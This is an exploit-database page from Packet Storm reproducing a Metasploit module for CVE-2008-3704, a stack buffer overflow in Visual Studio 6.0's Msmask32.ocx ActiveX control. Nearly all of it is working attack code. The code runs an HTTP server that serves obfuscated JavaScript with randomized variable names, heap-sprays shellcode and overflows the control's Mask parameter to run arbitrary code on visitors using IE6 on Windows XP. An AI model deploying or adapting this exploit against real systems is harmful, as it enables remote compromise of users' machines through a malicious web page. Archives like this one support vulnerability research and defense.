Microsoft Visual Studio Msmask32.ocx ActiveX Buffer Overflow

2009-11-2600:00:00
koshi
packetstormsecurity.com
0.959 High
EPSS
Percentile
99.3%
JSON
`###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft Visual Studio Msmask32.ocx ActiveX Buffer Overflow.',  
'Description' => %q{  
This module exploits a stack overflow in Microsoft's Visual Studio 6.0.  
When passing a specially crafted string to the Mask parameter of the  
Msmask32.ocx ActiveX Control, an attacker may be able to execute arbitrary  
code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'koshi', 'MC' ],   
'Version' => '$Revision: $',  
'References' =>   
[  
[ 'CVE', '2008-3704' ],  
[ 'BID','30674' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP2 IE 6.0 SP0-SP2', { 'Ret' => '' } ]   
],  
'DisclosureDate' => 'Aug 13 2008',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])  
], self.class)  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Create some nops.   
nops = Rex::Text.to_unescape(make_nops(4))  
  
# Randomize the javascript variable names.  
vname = rand_text_alpha(rand(100) + 1)  
var_i = rand_text_alpha(rand(30) + 2)  
rand1 = rand_text_alpha(rand(100) + 1)  
rand2 = rand_text_alpha(rand(100) + 1)  
rand3 = rand_text_alpha(rand(100) + 1)  
rand4 = rand_text_alpha(rand(100) + 1)  
rand5 = rand_text_alpha(rand(100) + 1)  
rand6 = rand_text_alpha(rand(100) + 1)  
rand7 = rand_text_alpha(rand(100) + 1)  
rand8 = rand_text_alpha(rand(100) + 1)  
rand9 = rand_text_alpha(rand(100) + 1)  
rand10 = rand_text_alpha(rand(100) + 1)  
rand11 = rand_text_alpha(rand(100) + 1)  
  
content = %Q|  
<html>  
<script language="javascript">  
var #{rand1}='<object classid="clsid:C932BA85-4374-101B-A56C-00AA003668DC"><param name="Mask" value="';  
var #{rand2}='"></object>';  
var #{rand3} = '';  
for (#{var_i}=1;#{var_i}<=2145;#{var_i}++){#{rand3}=#{rand3}+unescape("%0c");}  
var #{rand4} = unescape("#{shellcode}");  
var #{rand5} = (#{rand4}.length * 2);  
var #{rand6} = unescape("#{nops}");  
var #{rand7} = 0x0c0c0c0c;  
var #{rand8} = 0x100000;  
var #{rand9} = #{rand8} - (#{rand5} + 1);  
var #{rand10} = (#{rand7}+#{rand8})/#{rand8};  
var #{rand11} = new Array();  
while (#{rand6}.length*2<#{rand9})  
{ #{rand6} += #{rand6}; }  
#{rand6} = #{rand6}.substring(0,#{rand9}/2);  
for (#{var_i}=0;#{var_i}<#{rand10};#{var_i}++)  
{ #{rand11}[#{var_i}] = #{rand6} + #{rand4}; }  
document.write(#{rand1}+#{rand3}+#{rand2});  
</script>  
</html>  
|  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`
0.959 High
EPSS
Percentile
99.3%
JSON
Related for PACKETSTORM:82948